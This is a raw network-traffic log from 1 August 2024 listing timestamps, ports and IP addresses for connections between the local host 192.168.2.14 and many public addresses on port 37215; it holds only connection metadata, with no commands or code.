Aug 1, 2024 15:34:55.678632975 CEST	37215	40756	41.55.124.183	192.168.2.14
Aug 1, 2024 15:34:55.678642035 CEST	37215	43508	41.134.51.115	192.168.2.14
Aug 1, 2024 15:34:55.678652048 CEST	37215	48754	41.147.162.230	192.168.2.14
Aug 1, 2024 15:34:55.678656101 CEST	37215	59862	41.219.67.173	192.168.2.14
Aug 1, 2024 15:34:55.678666115 CEST	37215	53386	41.236.40.252	192.168.2.14
Aug 1, 2024 15:34:55.678674936 CEST	37215	60640	197.95.7.206	192.168.2.14
Aug 1, 2024 15:34:55.678684950 CEST	37215	43680	222.142.83.55	192.168.2.14
Aug 1, 2024 15:34:55.678694010 CEST	37215	58748	41.102.235.147	192.168.2.14
Aug 1, 2024 15:34:55.678703070 CEST	37215	46202	41.243.78.48	192.168.2.14
Aug 1, 2024 15:34:55.678711891 CEST	37215	46340	41.15.250.54	192.168.2.14
Aug 1, 2024 15:34:55.678720951 CEST	37215	51144	171.189.230.58	192.168.2.14
Aug 1, 2024 15:34:55.678740978 CEST	37215	44338	2.138.219.53	192.168.2.14
Aug 1, 2024 15:34:55.679872990 CEST	37215	58768	41.183.132.81	192.168.2.14
Aug 1, 2024 15:34:55.679960012 CEST	58768	37215	192.168.2.14	41.183.132.81
Aug 1, 2024 15:34:55.680130959 CEST	53694	37215	192.168.2.14	197.145.196.151
Aug 1, 2024 15:34:55.682477951 CEST	59474	37215	192.168.2.14	170.68.156.59
Aug 1, 2024 15:34:55.682543993 CEST	37215	37804	157.84.81.43	192.168.2.14
Aug 1, 2024 15:34:55.682554007 CEST	37215	54376	197.97.234.242	192.168.2.14
Aug 1, 2024 15:34:55.682702065 CEST	37215	54896	157.121.169.87	192.168.2.14
Aug 1, 2024 15:34:55.682898045 CEST	37215	45810	157.113.100.5	192.168.2.14
Aug 1, 2024 15:34:55.682909012 CEST	37215	39482	133.178.29.77	192.168.2.14
Aug 1, 2024 15:34:55.682918072 CEST	37215	52814	41.81.182.25	192.168.2.14
Aug 1, 2024 15:34:55.682923079 CEST	37215	58596	34.114.172.79	192.168.2.14
Aug 1, 2024 15:34:55.682933092 CEST	37215	56412	157.39.220.56	192.168.2.14
Aug 1, 2024 15:34:55.682941914 CEST	37215	49602	13.191.210.26	192.168.2.14
Aug 1, 2024 15:34:55.682950974 CEST	37215	40764	157.251.239.40	192.168.2.14
Aug 1, 2024 15:34:55.682975054 CEST	37215	47826	168.204.229.155	192.168.2.14
Aug 1, 2024 15:34:55.682984114 CEST	37215	35606	157.187.148.134	192.168.2.14
Aug 1, 2024 15:34:55.682993889 CEST	37215	41596	41.88.176.209	192.168.2.14
Aug 1, 2024 15:34:55.683007002 CEST	37215	47228	41.178.100.181	192.168.2.14
Aug 1, 2024 15:34:55.683016062 CEST	37215	50544	197.124.18.82	192.168.2.14
Aug 1, 2024 15:34:55.683024883 CEST	37215	56996	157.60.145.99	192.168.2.14
Aug 1, 2024 15:34:55.683033943 CEST	37215	45752	41.53.76.199	192.168.2.14
Aug 1, 2024 15:34:55.683039904 CEST	37215	34842	197.169.248.145	192.168.2.14
Aug 1, 2024 15:34:55.683049917 CEST	37215	54608	103.20.177.119	192.168.2.14
Aug 1, 2024 15:34:55.683059931 CEST	37215	40182	41.169.67.45	192.168.2.14
Aug 1, 2024 15:34:55.683069944 CEST	37215	59086	61.43.155.73	192.168.2.14
Aug 1, 2024 15:34:55.683078051 CEST	37215	38418	115.105.251.29	192.168.2.14
Aug 1, 2024 15:34:55.683088064 CEST	37215	60932	168.234.4.56	192.168.2.14
Aug 1, 2024 15:34:55.683096886 CEST	37215	57426	157.169.17.131	192.168.2.14
Aug 1, 2024 15:34:55.683106899 CEST	37215	37330	130.233.217.238	192.168.2.14
Aug 1, 2024 15:34:55.683116913 CEST	37215	34432	41.184.88.67	192.168.2.14
Aug 1, 2024 15:34:55.683125973 CEST	37215	38732	157.251.247.196	192.168.2.14
Aug 1, 2024 15:34:55.683135986 CEST	37215	48958	157.122.220.214	192.168.2.14
Aug 1, 2024 15:34:55.683146000 CEST	37215	56772	197.88.34.150	192.168.2.14
Aug 1, 2024 15:34:55.683155060 CEST	37215	44122	197.106.91.113	192.168.2.14
Aug 1, 2024 15:34:55.683166027 CEST	37215	45316	157.115.41.196	192.168.2.14
Aug 1, 2024 15:34:55.683185101 CEST	37215	33558	157.129.37.247	192.168.2.14
Aug 1, 2024 15:34:55.683195114 CEST	37215	34536	41.68.112.151	192.168.2.14
Aug 1, 2024 15:34:55.683203936 CEST	37215	48036	110.208.30.2	192.168.2.14
Aug 1, 2024 15:34:55.683213949 CEST	37215	40028	197.176.187.27	192.168.2.14
Aug 1, 2024 15:34:55.683222055 CEST	37215	53244	197.75.43.144	192.168.2.14
Aug 1, 2024 15:34:55.683233023 CEST	37215	54228	195.22.164.112	192.168.2.14
Aug 1, 2024 15:34:55.683243036 CEST	37215	45710	157.102.148.103	192.168.2.14
Aug 1, 2024 15:34:55.683254004 CEST	37215	48538	197.42.176.105	192.168.2.14
Aug 1, 2024 15:34:55.683263063 CEST	37215	58962	197.237.103.241	192.168.2.14
Aug 1, 2024 15:34:55.683271885 CEST	37215	59630	157.108.49.207	192.168.2.14
Aug 1, 2024 15:34:55.683281898 CEST	37215	44410	99.216.115.116	192.168.2.14
Aug 1, 2024 15:34:55.683290958 CEST	37215	39250	147.211.62.145	192.168.2.14
Aug 1, 2024 15:34:55.683300972 CEST	37215	35338	177.186.243.242	192.168.2.14
Aug 1, 2024 15:34:55.683310986 CEST	37215	56542	41.140.10.97	192.168.2.14
Aug 1, 2024 15:34:55.683320045 CEST	37215	36242	41.183.144.125	192.168.2.14
Aug 1, 2024 15:34:55.683331013 CEST	37215	59474	197.13.177.97	192.168.2.14
Aug 1, 2024 15:34:55.683340073 CEST	37215	36160	197.190.55.55	192.168.2.14
Aug 1, 2024 15:34:55.683348894 CEST	37215	38260	107.106.86.9	192.168.2.14
Aug 1, 2024 15:34:55.683357954 CEST	37215	51244	157.220.82.146	192.168.2.14
Aug 1, 2024 15:34:55.683366060 CEST	37215	33660	197.91.38.97	192.168.2.14
Aug 1, 2024 15:34:55.683376074 CEST	37215	55634	184.46.233.237	192.168.2.14
Aug 1, 2024 15:34:55.683396101 CEST	37215	45976	41.205.131.121	192.168.2.14
Aug 1, 2024 15:34:55.683404922 CEST	37215	59860	197.37.11.189	192.168.2.14
Aug 1, 2024 15:34:55.683413982 CEST	37215	36142	163.98.100.231	192.168.2.14
Aug 1, 2024 15:34:55.683461905 CEST	36142	37215	192.168.2.14	163.98.100.231
Aug 1, 2024 15:34:55.684740067 CEST	55458	37215	192.168.2.14	197.102.57.118
Aug 1, 2024 15:34:55.685499907 CEST	37215	53694	197.145.196.151	192.168.2.14
Aug 1, 2024 15:34:55.685565948 CEST	53694	37215	192.168.2.14	197.145.196.151
Aug 1, 2024 15:34:55.687199116 CEST	51922	37215	192.168.2.14	41.189.120.137
Aug 1, 2024 15:34:55.689127922 CEST	37215	59474	170.68.156.59	192.168.2.14
Aug 1, 2024 15:34:55.689178944 CEST	59474	37215	192.168.2.14	170.68.156.59
Aug 1, 2024 15:34:55.689634085 CEST	35318	37215	192.168.2.14	42.88.115.24
Aug 1, 2024 15:34:55.689662933 CEST	37215	55458	197.102.57.118	192.168.2.14
Aug 1, 2024 15:34:55.689719915 CEST	55458	37215	192.168.2.14	197.102.57.118
Aug 1, 2024 15:34:55.692578077 CEST	42060	37215	192.168.2.14	198.59.102.193
Aug 1, 2024 15:34:55.694928885 CEST	37215	51922	41.189.120.137	192.168.2.14
Aug 1, 2024 15:34:55.694972992 CEST	51922	37215	192.168.2.14	41.189.120.137
Aug 1, 2024 15:34:55.695214987 CEST	50974	37215	192.168.2.14	197.30.140.131
Aug 1, 2024 15:34:55.697530985 CEST	40864	37215	192.168.2.14	197.84.194.246
Aug 1, 2024 15:34:55.699805021 CEST	37950	37215	192.168.2.14	210.95.223.139
Aug 1, 2024 15:34:55.701188087 CEST	37215	35318	42.88.115.24	192.168.2.14
Aug 1, 2024 15:34:55.701239109 CEST	37215	42060	198.59.102.193	192.168.2.14
Aug 1, 2024 15:34:55.701246977 CEST	35318	37215	192.168.2.14	42.88.115.24
Aug 1, 2024 15:34:55.701322079 CEST	42060	37215	192.168.2.14	198.59.102.193
Aug 1, 2024 15:34:55.701533079 CEST	37215	50974	197.30.140.131	192.168.2.14
Aug 1, 2024 15:34:55.701598883 CEST	50974	37215	192.168.2.14	197.30.140.131
Aug 1, 2024 15:34:55.702409029 CEST	46676	37215	192.168.2.14	157.37.176.1
Aug 1, 2024 15:34:55.703831911 CEST	37215	40864	197.84.194.246	192.168.2.14
Aug 1, 2024 15:34:55.703886986 CEST	40864	37215	192.168.2.14	197.84.194.246
Aug 1, 2024 15:34:55.705001116 CEST	39614	37215	192.168.2.14	157.240.233.234
Aug 1, 2024 15:34:55.706728935 CEST	37215	37950	210.95.223.139	192.168.2.14
Aug 1, 2024 15:34:55.706779003 CEST	37950	37215	192.168.2.14	210.95.223.139
Aug 1, 2024 15:34:55.707467079 CEST	47550	37215	192.168.2.14	157.43.122.94
Aug 1, 2024 15:34:55.708736897 CEST	37215	46676	157.37.176.1	192.168.2.14
Aug 1, 2024 15:34:55.708782911 CEST	46676	37215	192.168.2.14	157.37.176.1
Aug 1, 2024 15:34:55.710570097 CEST	43348	37215	192.168.2.14	107.71.89.123
Aug 1, 2024 15:34:55.713218927 CEST	41936	37215	192.168.2.14	41.103.132.220
Aug 1, 2024 15:34:55.715604067 CEST	37504	37215	192.168.2.14	197.66.231.176
Aug 1, 2024 15:34:55.718126059 CEST	37215	39614	157.240.233.234	192.168.2.14
Aug 1, 2024 15:34:55.718163013 CEST	58956	37215	192.168.2.14	157.222.213.96
Aug 1, 2024 15:34:55.718177080 CEST	39614	37215	192.168.2.14	157.240.233.234
Aug 1, 2024 15:34:55.720829964 CEST	49558	37215	192.168.2.14	157.50.154.212
Aug 1, 2024 15:34:55.724884987 CEST	51066	37215	192.168.2.14	157.181.139.104
Aug 1, 2024 15:34:55.728560925 CEST	54770	37215	192.168.2.14	157.240.104.101
Aug 1, 2024 15:34:55.730449915 CEST	56999	35358	103.238.235.163	192.168.2.14
Aug 1, 2024 15:34:55.730745077 CEST	35358	56999	192.168.2.14	103.238.235.163
Aug 1, 2024 15:34:55.732558966 CEST	59494	37215	192.168.2.14	157.98.235.131
Aug 1, 2024 15:34:55.733601093 CEST	37215	47550	157.43.122.94	192.168.2.14
Aug 1, 2024 15:34:55.733666897 CEST	47550	37215	192.168.2.14	157.43.122.94
Aug 1, 2024 15:34:55.733716965 CEST	37215	43348	107.71.89.123	192.168.2.14
Aug 1, 2024 15:34:55.733778000 CEST	37215	41936	41.103.132.220	192.168.2.14
Aug 1, 2024 15:34:55.733795881 CEST	43348	37215	192.168.2.14	107.71.89.123
Aug 1, 2024 15:34:55.733829975 CEST	41936	37215	192.168.2.14	41.103.132.220
Aug 1, 2024 15:34:55.733860970 CEST	37215	37504	197.66.231.176	192.168.2.14
Aug 1, 2024 15:34:55.733944893 CEST	37504	37215	192.168.2.14	197.66.231.176
Aug 1, 2024 15:34:55.734407902 CEST	37215	58956	157.222.213.96	192.168.2.14
Aug 1, 2024 15:34:55.734472990 CEST	58956	37215	192.168.2.14	157.222.213.96
Aug 1, 2024 15:34:55.735100031 CEST	37215	49558	157.50.154.212	192.168.2.14
Aug 1, 2024 15:34:55.735138893 CEST	49558	37215	192.168.2.14	157.50.154.212
Aug 1, 2024 15:34:55.735138893 CEST	37215	51066	157.181.139.104	192.168.2.14
Aug 1, 2024 15:34:55.735152006 CEST	37215	54770	157.240.104.101	192.168.2.14
Aug 1, 2024 15:34:55.735183001 CEST	51066	37215	192.168.2.14	157.181.139.104
Aug 1, 2024 15:34:55.735223055 CEST	54770	37215	192.168.2.14	157.240.104.101
Aug 1, 2024 15:34:55.736387014 CEST	58456	37215	192.168.2.14	197.96.34.47
Aug 1, 2024 15:34:55.736464977 CEST	56999	35358	103.238.235.163	192.168.2.14
Aug 1, 2024 15:34:55.740678072 CEST	37200	37215	192.168.2.14	197.162.84.249
Aug 1, 2024 15:34:55.741384029 CEST	37215	59494	157.98.235.131	192.168.2.14
Aug 1, 2024 15:34:55.741426945 CEST	59494	37215	192.168.2.14	157.98.235.131
Aug 1, 2024 15:34:55.741611958 CEST	37215	58456	197.96.34.47	192.168.2.14
Aug 1, 2024 15:34:55.741656065 CEST	58456	37215	192.168.2.14	197.96.34.47
Aug 1, 2024 15:34:55.743486881 CEST	43540	37215	192.168.2.14	41.91.200.66
Aug 1, 2024 15:34:55.746078968 CEST	52192	37215	192.168.2.14	41.148.255.61
Aug 1, 2024 15:34:55.750916004 CEST	34146	37215	192.168.2.14	41.65.179.28
Aug 1, 2024 15:34:55.754467010 CEST	50020	37215	192.168.2.14	154.127.74.3
Aug 1, 2024 15:34:55.756762028 CEST	37215	37200	197.162.84.249	192.168.2.14
Aug 1, 2024 15:34:55.756805897 CEST	37200	37215	192.168.2.14	197.162.84.249
Aug 1, 2024 15:34:55.756820917 CEST	37215	43540	41.91.200.66	192.168.2.14
Aug 1, 2024 15:34:55.756834030 CEST	37215	52192	41.148.255.61	192.168.2.14
Aug 1, 2024 15:34:55.756844044 CEST	37215	34146	41.65.179.28	192.168.2.14
Aug 1, 2024 15:34:55.756872892 CEST	43540	37215	192.168.2.14	41.91.200.66
Aug 1, 2024 15:34:55.756875992 CEST	52192	37215	192.168.2.14	41.148.255.61
Aug 1, 2024 15:34:55.756897926 CEST	34146	37215	192.168.2.14	41.65.179.28
Aug 1, 2024 15:34:55.757152081 CEST	47294	37215	192.168.2.14	136.114.60.196
Aug 1, 2024 15:34:55.759275913 CEST	37215	50020	154.127.74.3	192.168.2.14
Aug 1, 2024 15:34:55.759334087 CEST	50020	37215	192.168.2.14	154.127.74.3
Aug 1, 2024 15:34:55.759654999 CEST	34854	37215	192.168.2.14	197.203.149.34
Aug 1, 2024 15:34:55.762078047 CEST	53626	37215	192.168.2.14	197.178.94.171
Aug 1, 2024 15:34:55.764573097 CEST	45048	37215	192.168.2.14	188.157.140.238
Aug 1, 2024 15:34:55.764930964 CEST	37215	47294	136.114.60.196	192.168.2.14
Aug 1, 2024 15:34:55.764972925 CEST	47294	37215	192.168.2.14	136.114.60.196
Aug 1, 2024 15:34:55.767626047 CEST	44292	37215	192.168.2.14	157.26.48.200
Aug 1, 2024 15:34:55.770925999 CEST	53580	37215	192.168.2.14	157.246.8.72
Aug 1, 2024 15:34:55.773503065 CEST	37215	34854	197.203.149.34	192.168.2.14
Aug 1, 2024 15:34:55.773550987 CEST	34854	37215	192.168.2.14	197.203.149.34
Aug 1, 2024 15:34:55.773780107 CEST	47556	37215	192.168.2.14	183.227.14.205
Aug 1, 2024 15:34:55.776331902 CEST	35206	37215	192.168.2.14	197.141.49.56
Aug 1, 2024 15:34:55.779200077 CEST	55876	37215	192.168.2.14	207.13.138.47
Aug 1, 2024 15:34:55.779702902 CEST	37215	53626	197.178.94.171	192.168.2.14
Aug 1, 2024 15:34:55.779759884 CEST	53626	37215	192.168.2.14	197.178.94.171
Aug 1, 2024 15:34:55.779903889 CEST	37215	45048	188.157.140.238	192.168.2.14
Aug 1, 2024 15:34:55.779915094 CEST	37215	44292	157.26.48.200	192.168.2.14
Aug 1, 2024 15:34:55.779923916 CEST	37215	53580	157.246.8.72	192.168.2.14
Aug 1, 2024 15:34:55.779948950 CEST	45048	37215	192.168.2.14	188.157.140.238
Aug 1, 2024 15:34:55.779953003 CEST	44292	37215	192.168.2.14	157.26.48.200
Aug 1, 2024 15:34:55.779992104 CEST	53580	37215	192.168.2.14	157.246.8.72
Aug 1, 2024 15:34:55.780050039 CEST	37215	47556	183.227.14.205	192.168.2.14
Aug 1, 2024 15:34:55.780090094 CEST	47556	37215	192.168.2.14	183.227.14.205
Aug 1, 2024 15:34:55.781687975 CEST	37215	35206	197.141.49.56	192.168.2.14
Aug 1, 2024 15:34:55.781766891 CEST	35206	37215	192.168.2.14	197.141.49.56
Aug 1, 2024 15:34:55.782531023 CEST	56414	37215	192.168.2.14	41.167.1.18
Aug 1, 2024 15:34:55.785487890 CEST	60348	37215	192.168.2.14	65.126.194.229
Aug 1, 2024 15:34:55.788526058 CEST	58988	37215	192.168.2.14	41.222.247.13
Aug 1, 2024 15:34:55.791435003 CEST	37215	55876	207.13.138.47	192.168.2.14
Aug 1, 2024 15:34:55.791445971 CEST	37215	56414	41.167.1.18	192.168.2.14
Aug 1, 2024 15:34:55.791491032 CEST	56414	37215	192.168.2.14	41.167.1.18
Aug 1, 2024 15:34:55.791492939 CEST	37215	60348	65.126.194.229	192.168.2.14
Aug 1, 2024 15:34:55.791493893 CEST	55876	37215	192.168.2.14	207.13.138.47
Aug 1, 2024 15:34:55.791515112 CEST	41424	37215	192.168.2.14	41.113.19.213
Aug 1, 2024 15:34:55.791528940 CEST	60348	37215	192.168.2.14	65.126.194.229
Aug 1, 2024 15:34:55.793963909 CEST	37215	58988	41.222.247.13	192.168.2.14
Aug 1, 2024 15:34:55.794008970 CEST	58988	37215	192.168.2.14	41.222.247.13
Aug 1, 2024 15:34:55.794398069 CEST	33832	37215	192.168.2.14	197.75.226.1
Aug 1, 2024 15:34:55.796757936 CEST	37215	41424	41.113.19.213	192.168.2.14
Aug 1, 2024 15:34:55.796803951 CEST	41424	37215	192.168.2.14	41.113.19.213
Aug 1, 2024 15:34:55.797055006 CEST	52904	37215	192.168.2.14	157.23.196.255
Aug 1, 2024 15:34:55.799491882 CEST	37215	33832	197.75.226.1	192.168.2.14
Aug 1, 2024 15:34:55.799597979 CEST	33832	37215	192.168.2.14	197.75.226.1
Aug 1, 2024 15:34:55.801279068 CEST	34888	37215	192.168.2.14	41.25.92.177
Aug 1, 2024 15:34:55.802145004 CEST	37215	52904	157.23.196.255	192.168.2.14
Aug 1, 2024 15:34:55.802222967 CEST	52904	37215	192.168.2.14	157.23.196.255
Aug 1, 2024 15:34:55.806071043 CEST	35070	37215	192.168.2.14	41.95.168.143
Aug 1, 2024 15:34:55.806267023 CEST	37215	34888	41.25.92.177	192.168.2.14
Aug 1, 2024 15:34:55.806349039 CEST	34888	37215	192.168.2.14	41.25.92.177
Aug 1, 2024 15:34:55.810981035 CEST	49552	37215	192.168.2.14	41.177.172.89
Aug 1, 2024 15:34:55.811196089 CEST	37215	35070	41.95.168.143	192.168.2.14
Aug 1, 2024 15:34:55.811248064 CEST	35070	37215	192.168.2.14	41.95.168.143
Aug 1, 2024 15:34:55.813481092 CEST	51520	37215	192.168.2.14	157.202.9.150
Aug 1, 2024 15:34:55.816092014 CEST	51960	37215	192.168.2.14	208.102.137.140
Aug 1, 2024 15:34:55.816775084 CEST	37215	49552	41.177.172.89	192.168.2.14
Aug 1, 2024 15:34:55.816852093 CEST	49552	37215	192.168.2.14	41.177.172.89
Aug 1, 2024 15:34:55.817631006 CEST	34740	37215	192.168.2.14	41.227.113.252
Aug 1, 2024 15:34:55.817715883 CEST	57376	37215	192.168.2.14	157.180.101.63
Aug 1, 2024 15:34:55.817715883 CEST	52512	37215	192.168.2.14	197.43.214.179
Aug 1, 2024 15:34:55.817774057 CEST	36870	37215	192.168.2.14	41.221.227.83
Aug 1, 2024 15:34:55.817807913 CEST	55220	37215	192.168.2.14	77.89.16.248
Aug 1, 2024 15:34:55.817809105 CEST	52480	37215	192.168.2.14	157.251.61.118
Aug 1, 2024 15:34:55.817857027 CEST	54494	37215	192.168.2.14	41.94.14.140
Aug 1, 2024 15:34:55.817857027 CEST	45636	37215	192.168.2.14	41.92.13.87
Aug 1, 2024 15:34:55.817899942 CEST	41752	37215	192.168.2.14	41.81.68.60
Aug 1, 2024 15:34:55.817926884 CEST	54194	37215	192.168.2.14	71.115.192.50
Aug 1, 2024 15:34:55.817970037 CEST	58020	37215	192.168.2.14	197.83.5.96
Aug 1, 2024 15:34:55.817975998 CEST	54052	37215	192.168.2.14	148.35.167.224
Aug 1, 2024 15:34:55.818025112 CEST	57698	37215	192.168.2.14	197.51.110.122
Aug 1, 2024 15:34:55.818026066 CEST	39008	37215	192.168.2.14	197.67.20.98
Aug 1, 2024 15:34:55.818051100 CEST	48254	37215	192.168.2.14	41.114.115.214
Aug 1, 2024 15:34:55.818089962 CEST	56062	37215	192.168.2.14	41.219.12.182
Aug 1, 2024 15:34:55.818119049 CEST	51300	37215	192.168.2.14	157.118.102.239
Aug 1, 2024 15:34:55.818172932 CEST	50458	37215	192.168.2.14	197.185.58.243
Aug 1, 2024 15:34:55.818176985 CEST	45166	37215	192.168.2.14	41.253.96.70
Aug 1, 2024 15:34:55.818288088 CEST	50886	37215	192.168.2.14	84.84.190.161
Aug 1, 2024 15:34:55.818288088 CEST	35646	37215	192.168.2.14	41.165.0.32
Aug 1, 2024 15:34:55.818295956 CEST	45514	37215	192.168.2.14	157.82.15.33
Aug 1, 2024 15:34:55.818295956 CEST	51296	37215	192.168.2.14	197.35.116.111
Aug 1, 2024 15:34:55.818336010 CEST	52562	37215	192.168.2.14	197.245.144.135
Aug 1, 2024 15:34:55.818337917 CEST	33428	37215	192.168.2.14	157.7.123.100
Aug 1, 2024 15:34:55.818351984 CEST	35460	37215	192.168.2.14	157.15.47.253
Aug 1, 2024 15:34:55.818403006 CEST	58768	37215	192.168.2.14	41.183.132.81
Aug 1, 2024 15:34:55.818435907 CEST	36142	37215	192.168.2.14	163.98.100.231
Aug 1, 2024 15:34:55.818466902 CEST	53694	37215	192.168.2.14	197.145.196.151
Aug 1, 2024 15:34:55.818509102 CEST	59474	37215	192.168.2.14	170.68.156.59
Aug 1, 2024 15:34:55.818552017 CEST	51922	37215	192.168.2.14	41.189.120.137
Aug 1, 2024 15:34:55.818558931 CEST	55458	37215	192.168.2.14	197.102.57.118
Aug 1, 2024 15:34:55.818587065 CEST	35318	37215	192.168.2.14	42.88.115.24
Aug 1, 2024 15:34:55.818639040 CEST	42060	37215	192.168.2.14	198.59.102.193
Aug 1, 2024 15:34:55.818639040 CEST	50974	37215	192.168.2.14	197.30.140.131
Aug 1, 2024 15:34:55.818685055 CEST	37950	37215	192.168.2.14	210.95.223.139
Aug 1, 2024 15:34:55.818686008 CEST	40864	37215	192.168.2.14	197.84.194.246
Aug 1, 2024 15:34:55.818731070 CEST	46676	37215	192.168.2.14	157.37.176.1
Aug 1, 2024 15:34:55.818732977 CEST	39614	37215	192.168.2.14	157.240.233.234
Aug 1, 2024 15:34:55.818753958 CEST	47550	37215	192.168.2.14	157.43.122.94
Aug 1, 2024 15:34:55.818798065 CEST	43348	37215	192.168.2.14	107.71.89.123
Aug 1, 2024 15:34:55.818847895 CEST	37504	37215	192.168.2.14	197.66.231.176
Aug 1, 2024 15:34:55.818855047 CEST	41936	37215	192.168.2.14	41.103.132.220
Aug 1, 2024 15:34:55.818892956 CEST	58956	37215	192.168.2.14	157.222.213.96
Aug 1, 2024 15:34:55.818928957 CEST	51066	37215	192.168.2.14	157.181.139.104
Aug 1, 2024 15:34:55.818929911 CEST	49558	37215	192.168.2.14	157.50.154.212
Aug 1, 2024 15:34:55.818964958 CEST	54770	37215	192.168.2.14	157.240.104.101
Aug 1, 2024 15:34:55.818988085 CEST	59494	37215	192.168.2.14	157.98.235.131
Aug 1, 2024 15:34:55.819037914 CEST	58456	37215	192.168.2.14	197.96.34.47
Aug 1, 2024 15:34:55.819082022 CEST	37200	37215	192.168.2.14	197.162.84.249
Aug 1, 2024 15:34:55.819082975 CEST	43540	37215	192.168.2.14	41.91.200.66
Aug 1, 2024 15:34:55.819123030 CEST	52192	37215	192.168.2.14	41.148.255.61
Aug 1, 2024 15:34:55.819145918 CEST	34146	37215	192.168.2.14	41.65.179.28
Aug 1, 2024 15:34:55.819150925 CEST	50020	37215	192.168.2.14	154.127.74.3
Aug 1, 2024 15:34:55.819190979 CEST	47294	37215	192.168.2.14	136.114.60.196
Aug 1, 2024 15:34:55.819245100 CEST	34854	37215	192.168.2.14	197.203.149.34
Aug 1, 2024 15:34:55.819245100 CEST	53626	37215	192.168.2.14	197.178.94.171
Aug 1, 2024 15:34:55.819266081 CEST	45048	37215	192.168.2.14	188.157.140.238
Aug 1, 2024 15:34:55.819294930 CEST	44292	37215	192.168.2.14	157.26.48.200
Aug 1, 2024 15:34:55.819349051 CEST	47556	37215	192.168.2.14	183.227.14.205
Aug 1, 2024 15:34:55.819349051 CEST	53580	37215	192.168.2.14	157.246.8.72
Aug 1, 2024 15:34:55.819401026 CEST	35206	37215	192.168.2.14	197.141.49.56
Aug 1, 2024 15:34:55.819434881 CEST	55876	37215	192.168.2.14	207.13.138.47
Aug 1, 2024 15:34:55.819438934 CEST	56414	37215	192.168.2.14	41.167.1.18
Aug 1, 2024 15:34:55.819480896 CEST	60348	37215	192.168.2.14	65.126.194.229
Aug 1, 2024 15:34:55.819494963 CEST	58988	37215	192.168.2.14	41.222.247.13
Aug 1, 2024 15:34:55.819523096 CEST	41424	37215	192.168.2.14	41.113.19.213
Aug 1, 2024 15:34:55.819571018 CEST	52904	37215	192.168.2.14	157.23.196.255
Aug 1, 2024 15:34:55.819572926 CEST	33832	37215	192.168.2.14	197.75.226.1
Aug 1, 2024 15:34:55.819619894 CEST	34888	37215	192.168.2.14	41.25.92.177
Aug 1, 2024 15:34:55.819619894 CEST	35070	37215	192.168.2.14	41.95.168.143
Aug 1, 2024 15:34:55.819681883 CEST	49552	37215	192.168.2.14	41.177.172.89
Aug 1, 2024 15:34:55.819684982 CEST	52512	37215	192.168.2.14	197.43.214.179
Aug 1, 2024 15:34:55.819684982 CEST	57376	37215	192.168.2.14	157.180.101.63
Aug 1, 2024 15:34:55.819716930 CEST	36870	37215	192.168.2.14	41.221.227.83
Aug 1, 2024 15:34:55.819716930 CEST	55220	37215	192.168.2.14	77.89.16.248
Aug 1, 2024 15:34:55.819744110 CEST	52480	37215	192.168.2.14	157.251.61.118
Aug 1, 2024 15:34:55.819782972 CEST	54194	37215	192.168.2.14	71.115.192.50
Aug 1, 2024 15:34:55.819806099 CEST	39008	37215	192.168.2.14	197.67.20.98
Aug 1, 2024 15:34:55.819806099 CEST	54052	37215	192.168.2.14	148.35.167.224
Aug 1, 2024 15:34:55.819814920 CEST	45636	37215	192.168.2.14	41.92.13.87
Aug 1, 2024 15:34:55.819816113 CEST	54494	37215	192.168.2.14	41.94.14.140
Aug 1, 2024 15:34:55.819816113 CEST	41752	37215	192.168.2.14	41.81.68.60
Aug 1, 2024 15:34:55.819816113 CEST	58020	37215	192.168.2.14	197.83.5.96
Aug 1, 2024 15:34:55.819820881 CEST	57698	37215	192.168.2.14	197.51.110.122
Aug 1, 2024 15:34:55.819825888 CEST	48254	37215	192.168.2.14	41.114.115.214
Aug 1, 2024 15:34:55.819827080 CEST	56062	37215	192.168.2.14	41.219.12.182
Aug 1, 2024 15:34:55.819844007 CEST	51300	37215	192.168.2.14	157.118.102.239
Aug 1, 2024 15:34:55.819864035 CEST	45166	37215	192.168.2.14	41.253.96.70
Aug 1, 2024 15:34:55.819868088 CEST	50458	37215	192.168.2.14	197.185.58.243
Aug 1, 2024 15:34:55.819889069 CEST	45514	37215	192.168.2.14	157.82.15.33
Aug 1, 2024 15:34:55.819890976 CEST	50886	37215	192.168.2.14	84.84.190.161
Aug 1, 2024 15:34:55.819920063 CEST	51296	37215	192.168.2.14	197.35.116.111
Aug 1, 2024 15:34:55.819921017 CEST	35646	37215	192.168.2.14	41.165.0.32
Aug 1, 2024 15:34:55.819931030 CEST	33428	37215	192.168.2.14	157.7.123.100
Aug 1, 2024 15:34:55.819932938 CEST	52562	37215	192.168.2.14	197.245.144.135
Aug 1, 2024 15:34:55.819932938 CEST	35460	37215	192.168.2.14	157.15.47.253
Aug 1, 2024 15:34:55.819952965 CEST	36142	37215	192.168.2.14	163.98.100.231
Aug 1, 2024 15:34:55.819956064 CEST	58768	37215	192.168.2.14	41.183.132.81
Aug 1, 2024 15:34:55.819967985 CEST	53694	37215	192.168.2.14	197.145.196.151
Aug 1, 2024 15:34:55.819972038 CEST	59474	37215	192.168.2.14	170.68.156.59
Aug 1, 2024 15:34:55.819977045 CEST	55458	37215	192.168.2.14	197.102.57.118
Aug 1, 2024 15:34:55.819993019 CEST	51922	37215	192.168.2.14	41.189.120.137
Aug 1, 2024 15:34:55.820024014 CEST	35318	37215	192.168.2.14	42.88.115.24
Aug 1, 2024 15:34:55.820048094 CEST	42060	37215	192.168.2.14	198.59.102.193
Aug 1, 2024 15:34:55.820048094 CEST	50974	37215	192.168.2.14	197.30.140.131
Aug 1, 2024 15:34:55.820050955 CEST	40864	37215	192.168.2.14	197.84.194.246
Aug 1, 2024 15:34:55.820055008 CEST	37950	37215	192.168.2.14	210.95.223.139
Aug 1, 2024 15:34:55.820055962 CEST	46676	37215	192.168.2.14	157.37.176.1
Aug 1, 2024 15:34:55.820066929 CEST	47550	37215	192.168.2.14	157.43.122.94
Aug 1, 2024 15:34:55.820066929 CEST	39614	37215	192.168.2.14	157.240.233.234
Aug 1, 2024 15:34:55.820087910 CEST	43348	37215	192.168.2.14	107.71.89.123
Aug 1, 2024 15:34:55.820090055 CEST	41936	37215	192.168.2.14	41.103.132.220
Aug 1, 2024 15:34:55.820101023 CEST	58956	37215	192.168.2.14	157.222.213.96
Aug 1, 2024 15:34:55.820101023 CEST	49558	37215	192.168.2.14	157.50.154.212
Aug 1, 2024 15:34:55.820101023 CEST	51066	37215	192.168.2.14	157.181.139.104
Aug 1, 2024 15:34:55.820102930 CEST	37504	37215	192.168.2.14	197.66.231.176
Aug 1, 2024 15:34:55.820139885 CEST	54770	37215	192.168.2.14	157.240.104.101
Aug 1, 2024 15:34:55.820144892 CEST	59494	37215	192.168.2.14	157.98.235.131
